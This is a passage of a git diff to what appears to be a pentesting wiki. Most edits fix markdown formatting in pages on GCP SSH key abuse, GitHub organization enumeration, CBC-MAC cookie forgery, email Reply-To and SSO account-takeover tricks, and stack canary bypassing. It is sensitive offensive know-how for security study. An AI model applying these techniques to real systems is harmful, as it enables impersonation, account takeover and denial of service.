account](https://cloud.google.com/compute/docs/instances/connecting-advanced#sa\_ssh\_manual). **Two-factor** is **only** enforced when using **user accounts**, so that should not slow you down even if it is assigned as shown above. Similar to using SSH keys from metadata, you can use this strategy to **escalate privileges locally and/or to access other Compute Instances** on the network. -## SSH keys at project level +## SSH keys at project level Following the details mentioned in the previous section you can try to compromise more VMs. @@ -182,7 +182,7 @@ If you're really bold, you can also just type `gcloud compute ssh [INSTANCE]` to ## Search for Keys in the filesystem -It's quite possible that** other users on the same box have been running `gcloud`** commands using an account more powerful than your own. You'll **need local root** to do this. +It's quite possible that **other users on the same box have been running `gcloud`** commands using an account more powerful than your own. You'll **need local root** to do this. First, find what `gcloud` config directories exist in users' home folders. diff --git a/cloud-security/github-security/basic-github-information.md b/cloud-security/github-security/basic-github-information.md index 0c92cc7d..9a3c26a4 100644 --- a/cloud-security/github-security/basic-github-information.md +++ b/cloud-security/github-security/basic-github-information.md @@ -59,6 +59,18 @@ You can **compare the permissions** of each role in this table [https://docs.git You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_ +### Groups + +You can **list the groups created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the groups which are children of other groups you need to access each parent group + +![](<../../.gitbook/assets/image (630).png>) + +### Users + +The users of an organization can be **listed** in _https://github.com/orgs/\/people._ + +In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**. + ## Github Authentication Github offers different ways to authenticate to your account and perform actions on your behalf. @@ -114,6 +126,7 @@ Some security recommendations: * Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do. * If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." * **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +* ## References diff --git a/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md index d8e27724..f929a306 100644 --- a/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md +++ b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md @@ -4,19 +4,19 @@ ### Course: [**Android & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting)**** -This is the course to** prepare for the eMAPT certificate exam**. It will teach you the **basics of Android** as OS, how the **applications works**, the **most sensitive components** of the Android applications, and how to **configure and use** the main **tools** to test the applications. The goal is to **prepare you to be able to pentest Android applications in the real life**. +This is the course to **prepare for the eMAPT certificate exam**. It will teach you the **basics of Android** as OS, how the **applications works**, the **most sensitive components** of the Android applications, and how to **configure and use** the main **tools** to test the applications. The goal is to **prepare you to be able to pentest Android applications in the real life**. -I found the course to be a great one for** people that don't have any experience pentesting Android** applications. However, **if** you are someone with **experience** in the topic and you have access to the course I also recommend you to **take a look to it**. That **was my case** when I did this course and even having a few years of experience pentesting Android applications **this course taught me some Android basics I didn't know and some new tricks**. +I found the course to be a great one for **people that don't have any experience pentesting Android** applications. However, **if** you are someone with **experience** in the topic and you have access to the course I also recommend you to **take a look to it**. That **was my case** when I did this course and even having a few years of experience pentesting Android applications **this course taught me some Android basics I didn't know and some new tricks**. -Finally, note **two more things** about this course: It has** great labs to practice** what you learn, however, it **doesn't explain every possible vulnerability** you can find in an Android application. Anyway, that's not an issue as** it teach you the basics to be able to understand other Android vulnerabilities**.\ +Finally, note **two more things** about this course: It has **great labs to practice** what you learn, however, it **doesn't explain every possible vulnerability** you can find in an Android application. Anyway, that's not an issue as **it teach you the basics to be able to understand other Android vulnerabilities**.\ Besides, once you have completed the course (or before) you can go to the [**Hacktricks Android Applications pentesting section**](../mobile-apps-pentesting/android-app-pentesting/) and learn more tricks. ### Course: [**iOS & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)**** -When I performed this course I didn't have much experience with iOS applications, and I found this **course to be a great resource to get me started quickly in the topic, so if you have the chance to perform the course don't miss the opportunity. **As the previous course, this course will teach you the **basics of iOS**, how the **iOS** **applications works**, the **most sensitive components** of the applications, and how to **configure and use** the main **tools** to test the applications.\ +When I performed this course I didn't have much experience with iOS applications, and I found this **course to be a great resource to get me started quickly in the topic, so if you have the chance to perform the course don't miss the opportunity.** As the previous course, this course will teach you the **basics of iOS**, how the **iOS** **applications works**, the **most sensitive components** of the applications, and how to **configure and use** the main **tools** to test the applications.\ However, there is a very important difference with the Android course, if you want to follow the labs, I would recommend you to **get a jailbroken iOS or pay for some good iOS emulator.** -As in the previous course, this course has some very useful labs to practice what you learn, but it doesn't explain every possible vulnerability of iOS applications. However, that's not an issue as** it teach you the basics to be able to understand other iOS vulnerabilities**.\ +As in the previous course, this course has some very useful labs to practice what you learn, but it doesn't explain every possible vulnerability of iOS applications. However, that's not an issue as **it teach you the basics to be able to understand other iOS vulnerabilities**.\ Besides, once you have completed the course (or before) you can go to the [**Hacktricks iOS Applications pentesting section**](../mobile-apps-pentesting/ios-pentesting/) and learn more tricks. ### [eMAPT](https://elearnsecurity.com/product/emapt-certification/) @@ -25,20 +25,20 @@ Besides, once you have completed the course (or before) you can go to the [**Hac The goal of this certificate is to **show** that you are capable of performing common **mobile applications pentests**. -During the exam you are** given 2 vulnerable Android applications** and you need to **create** an A**ndroid** **application** that **exploits** the vulnerabilities automatically. In order to **pass the exam**, you need to **send** the **exploit** **application** (the apk and the code) and it must **exploit** the **other** **apps** **vulnerabilities**. +During the exam you are **given 2 vulnerable Android applications** and you need to **create** an A**ndroid** **application** that **exploits** the vulnerabilities automatically. In order to **pass the exam**, you need to **send** the **exploit** **application** (the apk and the code) and it must **exploit** the **other** **apps** **vulnerabilities**. -Having done the [**INE course about Android applications pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting)** is** **more than enough** to find the vulnerabilities of the applications. What I found to be more "complicated" of the exam was to **write an Android application** that exploits vulnerabilities. However, having some experience as Java developer and looking for tutorials on the Internet about what I wanted to do **I was able to complete the exam in just some hours**. They give you 7 days to complete the exam, so if you find the vulnerabilities you will have plenty of time to develop the exploit app. +Having done the [**INE course about Android applications pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting) **is** **more than enough** to find the vulnerabilities of the applications. What I found to be more "complicated" of the exam was to **write an Android application** that exploits vulnerabilities. However, having some experience as Java developer and looking for tutorials on the Internet about what I wanted to do **I was able to complete the exam in just some hours**. They give you 7 days to complete the exam, so if you find the vulnerabilities you will have plenty of time to develop the exploit app. -In this exam I **missed the opportunity to exploit more vulnerabilities**, however, **I lost a bit the "fear" to write Android applications to exploit a vulnerability**. So it felt just like** another part of the course to complete your knowledge in Android applications pentesting**. +In this exam I **missed the opportunity to exploit more vulnerabilities**, however, **I lost a bit the "fear" to write Android applications to exploit a vulnerability**. So it felt just like **another part of the course to complete your knowledge in Android applications pentesting**. ## eLearnSecurity Web application Penetration Tester eXtreme (eWPTXv2) and the INE course related ### Course: [**Web Application Penetration Testing eXtreme**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)**** This course is the one meant to **prepare** you for the **eWPTXv2** **certificate** **exam**. \ -Even having been working as web pentester for several years before doing the course, it taught me several **neat hacking tricks about "weird" web vulnerabilities and ways to bypass protections**. Moreover, the course contains** pretty nice labs where you can practice what you learn**, and that is always helpful to fully understand the vulnerabilities. +Even having been working as web pentester for several years before doing the course, it taught me several **neat hacking tricks about "weird" web vulnerabilities and ways to bypass protections**. Moreover, the course contains **pretty nice labs where you can practice what you learn**, and that is always helpful to fully understand the vulnerabilities. -I think this course** isn't for web hacking beginners** (there are other INE courses for that like [**Web Application Penetration Testing**](https://my.ine.com/CyberSecurity/courses/38316560/web-application-penetration-testing)**). **However,** **if you aren't a beginner, independently on the hacking web "level" you think you have, **I definitely recommend you to take a look to the course** because I'm sure you **will learn new things** like I did. +I think this course **isn't for web hacking beginners** (there are other INE courses for that like [**Web Application Penetration Testing**](https://my.ine.com/CyberSecurity/courses/38316560/web-application-penetration-testing)**).** However, **** if you aren't a beginner, independently on the hacking web "level" you think you have, **I definitely recommend you to take a look to the course** because I'm sure you **will learn new things** like I did. ### [eWPTXv2](https://elearnsecurity.com/product/ewptxv2-certification/) @@ -47,7 +47,7 @@ I think this course** isn't for web hacking beginners** (there are other INE cou The exam was composed of a **few web applications full of vulnerabilities**. In order to pass the exam you will need to compromise a few machines abusing web vulnerabilities. However, note that that's not enough to pass the exam, you need to **send a professional pentest report detailing** all the vulnerabilities discovered, how to exploit them and how to remediate them.\ **I reported more than 10 unique vulnerabilities** (most of them high/critical and presented in different places of the webs), including the read of the flag and several ways to gain RCE and I passed. -**All the vulnerabilities I reported could be found explained in the **[**Web Application Penetration Testing eXtreme course**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)**. **However, order to pass this exam I think that you **don't only need to know about web vulnerabilities**, but you need to be **experienced exploiting them**. So, if you are doing the course, at least practice with the labs and potentially play with other platform where you can improve your skills exploiting web vulnerabilities. +**All the vulnerabilities I reported could be found explained in the** [**Web Application Penetration Testing eXtreme course**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)**.** However, order to pass this exam I think that you **don't only need to know about web vulnerabilities**, but you need to be **experienced exploiting them**. So, if you are doing the course, at least practice with the labs and potentially play with other platform where you can improve your skills exploiting web vulnerabilities. ## Course: **Data Science on the Google Cloud Platform** @@ -56,13 +56,13 @@ It's a very interesting basic course about **how to use the ML environment provi ## Course: **Machine Learning with scikit-learn Starter Pass** -In the course [**Machine Learning with scikit-learn Starter Pass**](https://my.ine.com/DataScience/courses/58c4e71b/machine-learning-with-scikit-learn-starter-pass)** **you will learn, as the name indicates, **how to use scikit-learn to create Machine Learning models**. +In the course [**Machine Learning with scikit-learn Starter Pass**](https://my.ine.com/DataScience/courses/58c4e71b/machine-learning-with-scikit-learn-starter-pass) **** you will learn, as the name indicates, **how to use scikit-learn to create Machine Learning models**. It's definitely recommended for people that haven't use scikit-learn (but know python) ## **Course: Classification Algorithms** -The** **[**Classification Algorithms course**](https://my.ine.com/DataScience/courses/2c6de5ea/classification-algorithms)** **is a great course for people that is **starting to learn about machine learning**. Here you will find information about the main classification algorithms you need to know and some mathematical concepts like **logistic regression** and **gradient descent**, **KNN**, **SVM**, and **Decision trees**. +The **** [**Classification Algorithms course**](https://my.ine.com/DataScience/courses/2c6de5ea/classification-algorithms) **** is a great course for people that is **starting to learn about machine learning**. Here you will find information about the main classification algorithms you need to know and some mathematical concepts like **logistic regression** and **gradient descent**, **KNN**, **SVM**, and **Decision trees**. It also shows how to **create models** with with **scikit-learn.** @@ -72,6 +72,6 @@ The [**Decision Trees course**](https://my.ine.com/DataScience/courses/83fcfd52/ It also explains **how to create tree models** with scikit-learn different techniques to **measure how good the created model is** and how to **visualize the tree**. -The only drawback I could find was in some cases some lack of mathematical explanations about how the used algorithm works. However, this course is** pretty useful for people that are learning about Machine Learning**. +The only drawback I could find was in some cases some lack of mathematical explanations about how the used algorithm works. However, this course is **pretty useful for people that are learning about Machine Learning**. ## diff --git a/cryptography/certificates.md b/cryptography/certificates.md index cb32b10b..1748f72d 100644 --- a/cryptography/certificates.md +++ b/cryptography/certificates.md @@ -4,13 +4,13 @@ In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner (called the subject), and the digital signature of an entity that has verified the certificate's contents (called the issuer). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject. -In a typical [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) scheme, the certificate issuer is a [certificate authority](https://en.wikipedia.org/wiki/Certificate_authority) (CA), usually a company that charges customers to issue certificates for them. By contrast, in a [web of trust](https://en.wikipedia.org/wiki/Web_of_trust) scheme, individuals sign each other's keys directly, in a format that performs a similar function to a public key certificate. +In a typical [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) scheme, the certificate issuer is a [certificate authority](https://en.wikipedia.org/wiki/Certificate\_authority) (CA), usually a company that charges customers to issue certificates for them. By contrast, in a [web of trust](https://en.wikipedia.org/wiki/Web\_of\_trust) scheme, individuals sign each other's keys directly, in a format that performs a similar function to a public key certificate. The most common format for public key certificates is defined by [X.509](https://en.wikipedia.org/wiki/X.509). Because X.509 is very general, the format is further constrained by profiles defined for certain use cases, such as [Public Key Infrastructure (X.509)](https://en.wikipedia.org/wiki/PKIX) as defined in RFC 5280. ## x509 Common Fields -* **Version Number: **Version of x509 format. +* **Version Number:** Version of x509 format. * **Serial Number**: Used to uniquely identify the certificate within a CA's systems. In particular this is used to track revocation information. * **Subject**: The entity a certificate belongs to: a machine, an individual, or an organization. * **Common Name**: Domains affected by the certificate. Can be 1 or more and can contain wildcards. @@ -27,7 +27,7 @@ The most common format for public key certificates is defined by [X.509](https:/ * **Locality (L)**: Local place where the organisation can be found. * **Organization (O)**: Organisation name * **Organizational Unit (OU)**: Division of an organisation (like "Human Resources"). -* **Not Before**: The earliest time and date on which the certificate is valid. Usually set to a few hours or days prior to the moment the certificate was issued, to avoid [clock skew](https://en.wikipedia.org/wiki/Clock_skew#On_a_network) problems. +* **Not Before**: The earliest time and date on which the certificate is valid. Usually set to a few hours or days prior to the moment the certificate was issued, to avoid [clock skew](https://en.wikipedia.org/wiki/Clock\_skew#On\_a\_network) problems. * **Not After**: The time and date past which the certificate is no longer valid. * **Public Key**: A public key belonging to the certificate subject. (This is one of the main parts as this is what is signed by the CA) * **Public Key Algorithm**: Algorithm used to generate the public key. Like RSA. @@ -41,9 +41,9 @@ The most common format for public key certificates is defined by [X.509](https:/ * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `Digital Signature` * **Extended Key Usage**: The applications in which the certificate may be used. Common values include TLS server authentication, email protection, and code signing. * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `TLS Web Server Authentication` - * **Subject Alternative Name: ** Allows users to specify additional host **names** for a single SSL **certificate**. The use of the SAN extension is standard practice for SSL certificates, and it's on its way to replacing the use of the common **name**. - * **Basic Constraint: **This extension describes whether the certificate is a CA certificate or an end entity certificate. A CA certificate is something that signs certificates of others and a end entity certificate is the certificate used in a web page for example (the last par of the chain). - * **Subject Key Identifier** (SKI): This extension declares a unique **identifier** for the public **key** in the certificate. It is required on all CA certificates. CAs propagate their own SKI to the Issuer **Key Identifier** (AKI) extension on issued certificates. It's the hash of the subject public key. + * **Subject Alternative Name:** Allows users to specify additional host **names** for a single SSL **certificate**. The use of the SAN extension is standard practice for SSL certificates, and it's on its way to replacing the use of the common **name**. + * **Basic Constraint:** This extension describes whether the certificate is a CA certificate or an end entity certificate. A CA certificate is something that signs certificates of others and a end entity certificate is the certificate used in a web page for example (the last par of the chain). + * **Subject Key Identifier** (SKI): This extension declares a unique **identifier** for the public **key** in the certificate. It is required on all CA certificates. CAs propagate their own SKI to the Issuer **Key Identifier** (AKI) extension on issued certificates. It's the hash of the subject public key. * **Authority Key Identifier**: It contains a key identifier which is derived from the public key in the issuer certificate. It's the hash of the issuer public key. * **Authority Information Access** (AIA): This extension contains at most two types of information : * Information about **how to get the issuer of this certificate** (CA issuer access method) @@ -53,9 +53,9 @@ The most common format for public key certificates is defined by [X.509](https:/ ### Difference between OSCP and CRL Distribution Points -**OCSP **(RFC 2560) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without **having to **download **the **entire CRL**.\ -**CRL **is the **traditional method **of checking certificate validity. A** CRL provides a list of certificate serial numbers **that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries.\ -From [here](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm#:\~:text=OCSP%20\(RFC%202560\)%20is%20a,to%20download%20the%20entire%20CRL.\&text=A%20CRL%20provides%20a%20list,or%20are%20no%20longer%20valid.). +**OCSP** (RFC 2560) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without** having to **download** the **entire CRL**.\ +**CRL** is the **traditional method** of checking certificate validity. A **CRL provides a list of certificate serial numbers** that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries.\ +From [here](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm#:\~:text=OCSP%20\(RFC%202560\)%20is%20a,to%20download%20the%20entire%20CRL.\&text=A%20CRL%20provides%20a%20list,or%20are%20no%20longer%20valid.). ### What is Certificate Transparency @@ -127,7 +127,7 @@ openssl x509 -inform der -in certificatename.der -out certificatename.pem **Convert PEM to P7B** -**Note:** The PKCS#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c.** **A P7B file only contains certificates and chain certificates (Intermediate CAs), not the private key. The most common platforms that support P7B files are Microsoft Windows and Java Tomcat. +**Note:** The PKCS#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c. **** A P7B file only contains certificates and chain certificates (Intermediate CAs), not the private key. The most common platforms that support P7B files are Microsoft Windows and Java Tomcat. ``` openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer diff --git a/cryptography/cipher-block-chaining-cbc-mac-priv.md b/cryptography/cipher-block-chaining-cbc-mac-priv.md index 726ac667..fe07762b 100644 --- a/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ b/cryptography/cipher-block-chaining-cbc-mac-priv.md @@ -2,15 +2,15 @@ ## CBC -If the **cookie **is **only **the **username **(or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce **the **first byte **of the cookie. +If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. ## CBC-MAC -In cryptography, a **cipher block chaining message authentication code** (**CBC-MAC**) is a technique for constructing a message authentication code from a block cipher. The message is encrypted with some block cipher algorithm in CBC mode to create a **chain of blocks such that each block depends on the proper encryption of the previous block**. This interdependence ensures that a **change **to **any **of the plaintext **bits **will cause the **final encrypted block **to **change **in a way that cannot be predicted or counteracted without knowing the key to the block cipher. +In cryptography, a **cipher block chaining message authentication code** (**CBC-MAC**) is a technique for constructing a message authentication code from a block cipher. The message is encrypted with some block cipher algorithm in CBC mode to create a **chain of blocks such that each block depends on the proper encryption of the previous block**. This interdependence ensures that a **change** to **any** of the plaintext **bits** will cause the **final encrypted block** to **change** in a way that cannot be predicted or counteracted without knowing the key to the block cipher. -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: -![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_\(en\).svg/570px-CBC-MAC_structure_\(en\).svg.png) +![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png) ## Vulnerability @@ -27,26 +27,26 @@ Then a message composed by m1 and m2 concatenated (m3) will generate 2 signature **Which is possible to calculate without knowing the key of the encryption.** -Imagine you are encrypting the name **Administrator **in **8bytes **blocks: +Imagine you are encrypting the name **Administrator** in **8bytes** blocks: * `Administ` * `rator\00\00\00` -You can create a username called **Administ **(m1) and retrieve the key (s1).\ +You can create a username called **Administ** (m1) and retrieve the key (s1).\ Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ now, knowing s1 and s32 you can put them together an generate the encryption of the full name **Administrator**. #### Summary -1. Get the signature of username **Administ **(m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0 **is s32**.** +1. Get the signature of username **Administ** (m1) which is s1 +2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** 3. Set the cookie to s1 followed by s32 and it will be a valid cookie for the user **Administrator**. ## Attack Controlling IV If you can control the used IV the attack could be very easy.\ If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator. **This cookie will be valid to **impersonate **the user **administrator **with the initial **IV**. +Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. ## References diff --git a/cryptography/hash-length-extension-attack.md b/cryptography/hash-length-extension-attack.md index d05a2094..af12e297 100644 --- a/cryptography/hash-length-extension-attack.md +++ b/cryptography/hash-length-extension-attack.md @@ -4,10 +4,10 @@ Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: -* **The length of the secret **(this can be also bruteforced from a given length range) +* **The length of the secret** (this can be also bruteforced from a given length range) * **The clear text data** * **The algorithm (and it's vulnerable to this attack)** -* **The padding is known ** +* **The padding is known** * Usually a default one is used, so if the other 3 requirements are met, this also is * The padding vary depending on the length of the secret+data, that's why the length of the secret is needed diff --git a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md index 9c37fe06..5003bac0 100644 --- a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md +++ b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md @@ -4,7 +4,7 @@ ## Enumeration -I started **enumerating the machine using my tool **[**Legion**](https://github.com/carlospolop/legion): +I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion): ![](<../../.gitbook/assets/image (244).png>) @@ -16,7 +16,7 @@ In the web page you can **register new users**, and I noticed that **the length ![](<../../.gitbook/assets/image (246).png>) -And if you change some **byte **of the **cookie **you get this error: +And if you change some **byte** of the **cookie** you get this error: ![](<../../.gitbook/assets/image (247).png>) diff --git a/ctf-write-ups/try-hack-me/pickle-rick.md b/ctf-write-ups/try-hack-me/pickle-rick.md index 757c19ac..908c498e 100644 --- a/ctf-write-ups/try-hack-me/pickle-rick.md +++ b/ctf-write-ups/try-hack-me/pickle-rick.md @@ -6,7 +6,7 @@ This machine was categorised as easy and it was pretty easy. ## Enumeration -I started **enumerating the machine using my tool **[**Legion**](https://github.com/carlospolop/legion): +I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion): ![](<../../.gitbook/assets/image (79) (2).png>) @@ -18,13 +18,13 @@ So, I launched legion to enumerate the HTTP service: Note that in the image you can see that `robots.txt` contains the string `Wubbalubbadubdub` -After some seconds I reviewed what `disearch `has already discovered : +After some seconds I reviewed what `disearch` has already discovered : ![](<../../.gitbook/assets/image (235).png>) ![](<../../.gitbook/assets/image (236).png>) -And as you may see in the last image a **login **page was discovered. +And as you may see in the last image a **login** page was discovered. Checking the source code of the root page, a username is discovered: `R1ckRul3s` diff --git a/emails-vulns.md b/emails-vulns.md index 99f2112e..bc6d1ead 100644 --- a/emails-vulns.md +++ b/emails-vulns.md @@ -4,11 +4,11 @@ ### Ignored parts of an email -The symbols: **+, -** and **{} **in rare occasions can be used for tagging and ignored by most e-mail servers +The symbols: **+, -** and **{}** in rare occasions can be used for tagging and ignored by most e-mail servers * E.g. john.doe+intigriti@example.com → john.doe@example.com -**Comments between parentheses () **at the beginning or the end will also be ignored +**Comments between parentheses ()** at the beginning or the end will also be ignored * E.g. john.doe(intigriti)@example.com → john.doe@example.com @@ -33,16 +33,16 @@ You can also use IPs as domain named between square brackets: ### XSS -Some services like **github **or **salesforce allows **you to create an **email address with XSS payloads on it**. If you can **use this providers to login on other services** and this services** aren't sanitising** correctly the email, you could cause **XSS**. +Some services like **github** or **salesforce allows** you to create an **email address with XSS payloads on it**. If you can **use this providers to login on other services** and this services **aren't sanitising** correctly the email, you could cause **XSS**. ### Account-Takeover -If a **SSO service** allows you to **create an account without verifying the given email address** (like **salesforce**) and then you can use that account to **login in a different service** that **trusts **salesforce, you could access any account.\ +If a **SSO service** allows you to **create an account without verifying the given email address** (like **salesforce**) and then you can use that account to **login in a different service** that **trusts** salesforce, you could access any account.\ _Note that salesforce indicates if the given email was or not verified but so the application should take into account this info._ ## Reply-To -You can send an email using _**From: company.com**_** **and _**Replay-To: attacker.com **_and if any **automatic reply **is sent due to the email was sent **from **an **internal address **the **attacker **may be able to **receive **that **response**. +You can send an email using _**From: company.com**_** ** and _**Replay-To: attacker.com**_ and if any **automatic reply** is sent due to the email was sent **from** an **internal address** the **attacker** may be able to **receive** that **response**. ## **References** @@ -52,6 +52,6 @@ You can send an email using _**From: company.com**_** **and _**Replay-To: attack Some applications like AWS have a **Hard Bounce Rate** (in AWS is 10%), that whenever is overloaded the email service is blocked. -A **hard bounce** is an **email** that couldn’t be delivered for some permanent reasons. Maybe the **email’s** a fake address, maybe the **email** domain isn’t a real domain, or maybe the **email** recipient’s server won’t accept **emails**) , that means from total of 1000 emails if 100 of them were fake or were invalid that caused all of them to bounce, **AWS SES **will block your service. +A **hard bounce** is an **email** that couldn’t be delivered for some permanent reasons. Maybe the **email’s** a fake address, maybe the **email** domain isn’t a real domain, or maybe the **email** recipient’s server won’t accept **emails**) , that means from total of 1000 emails if 100 of them were fake or were invalid that caused all of them to bounce, **AWS SES** will block your service. So, if you are able to **send mails (maybe invitations) from the web application to any email address, you could provoke this block by sending hundreds of invitations to nonexistent users and domains: Email service DoS.** diff --git a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md index 489c4baa..8220f739 100644 --- a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md +++ b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md @@ -13,7 +13,7 @@ However, you can manually notice this if you find that a value is saved in the s The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. -Then, the best way to bypass the canary is just to** brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64) **and distinguish between a correct guessed byte and a bad byte just **checking **if a **response **is sent back by the server (another way in **other situation **could be using a **try/except**): +Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): ### Example 1 @@ -61,7 +61,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ### Example 2 This is implemented for 32 bits, but this could be easily changed to 64bits.\ -Also note that for this example the** program expected first a byte to indicate the size of the input **and the payload. +Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. ```python from pwn import * @@ -107,17 +107,17 @@ log.info(f"The canary is: {canary}") ## Print Canary Another way to bypass the canary is to **print it**.\ -Imagine a situation where a **program vulnerable **to stack overflow can execute a **puts** function **pointing **to **part **of the **stack overflow**. The attacker knows that the** first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random **bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.\ -Then, the attacker** calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).\ +Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.\ +Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).\ With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session) -Obviously, this tactic is very **restricted **as the attacker needs to be able to **print **the **content **of his **payload **to **exfiltrate **the **canary **and then be able to create a new payload (in the **same program session**) and **send **the **real buffer overflow**.\ -CTF example: [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17\_svc/index.html) +Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.\ +CTF example: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) ## PIE In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to 